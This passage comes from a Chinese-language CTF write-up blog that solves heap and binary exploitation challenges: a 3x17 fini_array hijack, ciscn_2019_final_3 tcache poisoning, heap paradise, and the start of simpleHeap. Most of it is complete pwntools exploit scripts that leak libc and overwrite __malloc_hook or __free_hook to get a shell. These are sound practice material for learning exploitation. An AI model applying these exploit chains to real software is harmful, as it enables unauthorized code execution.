class="string">b&#x27;A&#x27;</span>*<span class="number">0x80</span>+p64(<span class="number">0</span>)+p64(<span class="number">0xb1</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">#there are two pointers pointing to index1.(index3 and index1)</span></span><br><span class="line"><span class="comment">#we can free index1 firstly, and then we will get a addr close to libc.</span></span><br><span class="line"></span><br><span class="line">free_(<span class="number">1</span>)</span><br><span class="line">dump_(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x80</span>)</span><br><span class="line">io.recv(<span class="number">0x18</span>)</span><br><span class="line">main_area = u64(io.recv(<span class="number">8</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;main_area ===&gt; &#x27;</span>+<span class="built_in">hex</span>(main_area))</span><br><span class="line">libcbase = main_area - <span class="number">0x3c4b78</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">malloc_hook = libcbase + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;malloc_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(malloc_hook))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">    alloc_(<span class="number">0x60</span>)     <span class="comment">#1 4 5 6 7 8 9 10 11 12</span></span><br><span class="line"></span><br><span class="line">one_gadget = [<span class="number">0x45226</span>, <span class="number">0x4527a</span>, <span class="number">0xf03a4</span>, <span class="number">0xf1247</span>]</span><br><span class="line">free_(<span class="number">10</span>)</span><br><span class="line">fill_(<span class="number">9</span>, <span class="number">0x78</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x60</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x71</span>)+p64(malloc_hook-<span class="number">0x23</span>))</span><br><span class="line"></span><br><span class="line">alloc_(<span class="number">0x60</span>)</span><br><span class="line">alloc_(<span class="number">0x60</span>)</span><br><span class="line">fill_(<span class="number">13</span>,<span class="number">0x23</span>-<span class="number">0x10</span>+<span class="number">8</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x13</span>+p64(libcbase+one_gadget[<span class="number">1</span>]))</span><br><span class="line"></span><br><span class="line">alloc_(<span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x02-pwnable-tw-3×17-fini-array劫持"><a href="#0x02-pwnable-tw-3×17-fini-array劫持" class="headerlink" title="0x02.pwnable.tw - 3×17( fini_array劫持 )"></a>0x02.pwnable.tw - 3×17( fini_array劫持 )</h3><p>先<code>checksec</code>看到只开了NX，partial relro</p><p>该程序为静态编译程序，把所有要用到的库函数都编译进了这个程序，而且必定会有<code>syscall</code></p><p>由于程序结束后会执行<code>libc_csu_fini</code>函数，该函数中会依次调用<code>fini_array[1]</code>和<code>fini_array[0]</code>，可以改写<code>fini_array[0]</code>为<code>libc_csu_fini</code>函数的地址，<code>fini_array[1]</code>为<code>main</code>函数地址。这样程序会不断进行调用。</p><p>在<code>main</code>函数中可以看到要使<code>byte_4B9330</code>为1时才能进行地址改写，但实际上不需要理会这个条件，因为在循环的过程中，它会自行溢出为1。</p><p>由于<code>libc_csu_fini</code>函数中存在语句<code>lea  rbp, off_4B40F0</code>，会导致<code>rbp</code>值为<code>fini_array</code>地址，通过改写<code>fini_array+0x10</code>数据为<code>gadgets</code>，然后修改<code>fini_array[0]</code>为<code>leave_ret</code>的<code>gadget</code>进行栈迁移，即可getshell。</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#先布置fini_array+0x10位置的数据，最后进行leave_ret栈迁移即可</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,25099)</span></span><br><span class="line">io = process(<span class="string">&#x27;./3x17&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./3x17&#x27;</span>)</span><br><span class="line"></span><br><span class="line">pop_rdi = <span class="number">0x401696</span></span><br><span class="line">pop_rsi = <span class="number">0x406c30</span></span><br><span class="line">pop_rdx = <span class="number">0x446e35</span></span><br><span class="line">pop_rax = <span class="number">0x41e4af</span></span><br><span class="line">syscall = <span class="number">0x446e2c</span></span><br><span class="line">start = <span class="number">0x401b6d</span></span><br><span class="line">fini_array = <span class="number">0x4b40f0</span></span><br><span class="line">csu_fini = <span class="number">0x402960</span></span><br><span class="line">bss = <span class="number">0x4b4100</span></span><br><span class="line">leave_ret = <span class="number">0x401c4b</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">change</span>(<span class="params">addr, data</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;addr:&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(addr).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;data:&#x27;</span>)</span><br><span class="line">    io.send(data)</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">change(fini_array, p64(csu_fini)+p64(start))</span><br><span class="line">payload = [pop_rdi, <span class="number">0</span>, pop_rsi, bss-<span class="number">0x100</span>, pop_rdx, <span class="number">0x10</span>, pop_rax, <span class="number">0</span>, syscall, \</span><br><span class="line">           pop_rdi, bss-<span class="number">0x100</span>, pop_rsi, <span class="number">0</span>,   pop_rdx,  <span class="number">0</span>,   pop_rax, <span class="number">59</span>, syscall]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">18</span>):</span><br><span class="line">    change(bss+i*<span class="number">8</span>,p64(payload[i]))</span><br><span class="line"></span><br><span class="line">change(fini_array, p64(leave_ret)+p64(start)+p64(pop_rdi))</span><br><span class="line">io.send(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-ciscn-2019-final-3-tcache-poisoning-UAF"><a href="#0x03-ciscn-2019-final-3-tcache-poisoning-UAF" class="headerlink" title="0x03.ciscn_2019_final_3( tcache poisoning + UAF )"></a>0x03.ciscn_2019_final_3( tcache poisoning + UAF )</h3><p><code>checksec</code>看到保护全开</p><p>一个c++堆题目，为了做这个题，我另外下了个ubuntu18。。。</p><p>没有<code>show</code>功能，以为要爆破<code>stdout</code>打出libc，看了wp才知道是劫持<code>tcache_struct</code>来实现分配到libc，进而泄露出libc</p><p>大致步骤为：由于程序会泄露堆地址，先利用 <code>tcache stash</code> 机制绕过<code>double free</code>的检查分配到<code>tcache_struct</code>位置，修改其值为刚好释放该块时可以进入<code>unsorted bin</code>的值，从而在<code>tcache</code>中的<code>fd</code>为会修改为libc中的某个值，从而通过<code>gift</code>泄露出来。之后再次劫持堆块，分配到<code>__free_hook</code>位置，修改为<code>system</code>函数地址，<code>free</code>掉存有<code>/bin/sh\x00</code>的堆块。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">28698</span>)</span><br><span class="line">file = <span class="string">&#x27;./ciscn_final_3&#x27;</span></span><br><span class="line"><span class="comment">#io = process(file)</span></span><br><span class="line">elf = ELF(file)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;choice &gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index, size, content</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index\n&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;size\n&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;something\n&#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">remove</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index\n&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gifts</span>():</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;gift :0x&#x27;</span>)</span><br><span class="line">    address = <span class="built_in">int</span>(io.recv(<span class="number">12</span>),<span class="number">16</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;gift ===&gt; &#x27;</span>+<span class="built_in">hex</span>(address))</span><br><span class="line">    <span class="keyword">return</span> address</span><br><span class="line"></span><br><span class="line"><span class="comment">#tcache stash机制进行double free</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    add(i, <span class="number">0x70</span>, <span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">tcache_struct = gifts() - <span class="number">0x12270</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    remove(i)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;tcache struct ===&gt; &#x27;</span>+<span class="built_in">hex</span>(tcache_struct))</span><br><span class="line">remove(<span class="number">7</span>)           <span class="comment">#fastbin 0x70: 7 -&gt; 8 -&gt; 7</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>, <span class="number">16</span>):</span><br><span class="line">    add(i,<span class="number">0x70</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">16</span>,<span class="number">0x70</span>,p64(tcache_struct+<span class="number">0x10</span>))</span><br><span class="line">add(<span class="number">17</span>,<span class="number">0x70</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">add(<span class="number">18</span>,<span class="number">0x70</span>,<span class="string">b&#x27;AAAA&#x27;</span>)</span><br><span class="line">add(<span class="number">19</span>,<span class="number">0x70</span>,(<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x23</span>+<span class="string">b&#x27;\x07&#x27;</span>).ljust(<span class="number">0x40</span>,<span class="string">b&#x27;\x00&#x27;</span>)+p64(tcache_struct+<span class="number">0x10</span>)*<span class="number">6</span>)         <span class="comment">#该堆块为tcache_struct结构体</span></span><br><span class="line"></span><br><span class="line">remove(<span class="number">19</span>)            <span class="comment">#19堆块会进入unsorted bin中</span></span><br><span class="line">add(<span class="number">20</span>,<span class="number">0x20</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">add(<span class="number">21</span>,<span class="number">0x20</span>,<span class="string">b&#x27;\x00&#x27;</span>)  <span class="comment">#申请到libc  （因为tcache_struct进入unsorted bin，其tcache_struct+0x10位置被设置为libc中的位置，再次分配便会从tcache中取出该位置块）</span></span><br><span class="line"></span><br><span class="line">libcbase = gifts() - <span class="number">0x3ebca0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">free_hook = libcbase + libc.symbols[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;__free_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(free_hook))</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">add(<span class="number">22</span>,<span class="number">0x50</span>,<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x40</span>+p64(free_hook))   <span class="comment">#再次修改tcache_struct</span></span><br><span class="line">add(<span class="number">23</span>,<span class="number">0x10</span>,p64(sys))           <span class="comment">#分配到free_hook</span></span><br><span class="line">remove(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="task06"><a href="#task06" class="headerlink" title="task06"></a>task06</h2><h3 id="0x01-pwnable-tw-heap-paradise-UAF-fastbin-attack"><a href="#0x01-pwnable-tw-heap-paradise-UAF-fastbin-attack" class="headerlink" title="0x01.pwnable.tw - heap paradise ( UAF + fastbin attack )"></a>0x01.pwnable.tw - heap paradise ( UAF + fastbin attack )</h3><p><code>checksec</code>看到保护全开，</p><p>这道题给我做的心态爆炸，像是照着wp抄了一遍，每一步都要注意和后面的联系，还要注意分配堆块的数量，爆破直接手动，写一个固定的地址，一直运行，打远程的时候似乎因为服务器在国外，一直超时，拿个j8的flag（总结：我是彩笔</p><p>大概步骤在exp里面写了：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#先fastbin attack分配到堆区域修改某个堆块的size，使得可以free进入unsorted bin，然后partial write爆破stdout结构体，输出libc，最后fastbin attack打malloc_hook</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;chall.pwnable.tw&#x27;</span>,<span class="number">10308</span>)</span><br><span class="line">file = <span class="string">&#x27;./heap_paradise&#x27;</span></span><br><span class="line"><span class="comment">#io = process(file)</span></span><br><span class="line">elf = ELF(file)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc_64.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">num</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;You Choice:&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(num).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">alloc</span>(<span class="params">size, data</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size :&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Data :&#x27;</span>)</span><br><span class="line">    io.send(data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index :&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x71</span>))     <span class="comment">#0            loc-0</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x31</span>)+<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x28</span>+p64(<span class="number">0x21</span>))     <span class="comment">#1            loc-1</span></span><br><span class="line">     <span class="comment">#2            loc-2</span></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">0</span>)             <span class="comment">#0 -&gt; 1 -&gt; 0</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x20&#x27;</span>)     <span class="comment">#2    loc-0</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>)     <span class="comment">#3    loc-1</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x20&#x27;</span>)     <span class="comment">#4    loc-0</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>)    <span class="comment">#5    loc-0.5</span></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0xa1</span>))   <span class="comment">#6</span></span><br><span class="line">free(<span class="number">5</span>)             <span class="comment">#进入unsorted bin</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">alloc(<span class="number">0x78</span>, (p64(<span class="number">0</span>)+p64(<span class="number">0x71</span>))*<span class="number">4</span>+<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x8</span>+p64(<span class="number">0x71</span>)+<span class="string">b&#x27;\xa0&#x27;</span>)          <span class="comment">#7    loc-0.5    partial overwrite修改到stdout</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x28</span>+p64(<span class="number">0x71</span>)+<span class="string">b&#x27;\xdd\xc5&#x27;</span>)          <span class="comment">#8      loc-1    partial overwrite将loc-0.5放入fastbin链表中</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>))          <span class="comment">#9      loc-0</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">3</span>+<span class="string">b&#x27;B&#x27;</span>*<span class="number">0x30</span>+p64(<span class="number">0xfbad2087</span>+<span class="number">0x1800</span>)+p64(<span class="number">0</span>)*<span class="number">3</span>+<span class="string">b&#x27;\x00&#x27;</span>)          <span class="comment">#10     修改stdout结构体</span></span><br><span class="line">               <span class="comment">#(__IO_stdout)c620-0x43=c5dd</span></span><br><span class="line">leak = io.recv(<span class="number">100</span>)</span><br><span class="line"><span class="built_in">print</span>(leak)</span><br><span class="line">loc = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> <span class="string">b&#x27;\x7f&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> leak:</span><br><span class="line">    <span class="keyword">raise</span> Exception()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> leak:</span><br><span class="line">    <span class="keyword">if</span> i == <span class="number">0x7f</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    loc += <span class="number">1</span></span><br><span class="line">libcbase = u64((leak[:loc+<span class="number">1</span>])[loc-<span class="number">5</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x3c4600</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">one_gadget = [<span class="number">0x45216</span>, <span class="number">0x4526a</span>, <span class="number">0xef6c4</span>, <span class="number">0xf0567</span>]</span><br><span class="line">malloc_hook = libcbase + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">target = malloc_hook - <span class="number">0x23</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;__malloc_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(malloc_hook))</span><br><span class="line"></span><br><span class="line">free(<span class="number">7</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x78</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x48</span>+p64(<span class="number">0x71</span>)+p64(target))   <span class="comment">#11        chunk overlapping修改fd</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;AAAA&#x27;</span>)      <span class="comment">#12</span></span><br><span class="line">alloc(<span class="number">0x68</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x13</span> + p64(libcbase+one_gadget[<span class="number">2</span>]))  <span class="comment">#13</span></span><br><span class="line">menu(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Size :&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;16&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x02-V-N2020公开赛-simpleHeap-off-by-one-fastbin-attack-one-gadget"><a href="#0x02-V-N2020公开赛-simpleHeap-off-by-one-fastbin-attack-one-gadget" class="headerlink" title="0x02.[V &amp; N2020公开赛]simpleHeap (off by one + fastbin attack + one gadget)"></a>0x02.[V &amp; N2020公开赛]simpleHeap (off by one + fastbin attack + one gadget)</h3><p><code>checksec</code>看到保护全开</p><p>IDA打开，看到<code>edit</code>函数存在<code>off by one</code>漏洞</p><p>在<code>add</code>函数内看到题目限制了<code>size</code>的大小，但我们可以在分配后修改<code>size</code>，从而释放堆块进入<code>unsorted bin</code>，并且修改后还会造成对堆块重叠，重叠后我们可以直接<code>show</code>泄露出<code>libc</code>的地址，从而再次利用<code>fastbin attack</code>打<code>__malloc_hook</code>，但是在使用one_gadget的过程中我们发现都不能生效，这是因为one_gadget对当前栈环境有一定要求，对此，由于<code>__malloc_hook</code>和<code>__realloc_hook</code>的地址十分接近，在分配fake chunk的时候可以一并控制，因此我们可以先修改<code>__malloc_hook</code>为<code>__libc_realloc</code>函数地址，因为其在调用<code>__realloc_hook</code>之前会进行一系列压栈操作调整栈环境，从而有可能使得满足one_gadget条件。</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#先利用offbyone通过修改size使堆块进入unsorted bin内，泄露libc，然后fastbin attack用one_gadget打__malloc_hook即可成功getshell</span></span><br><span class="line"><span 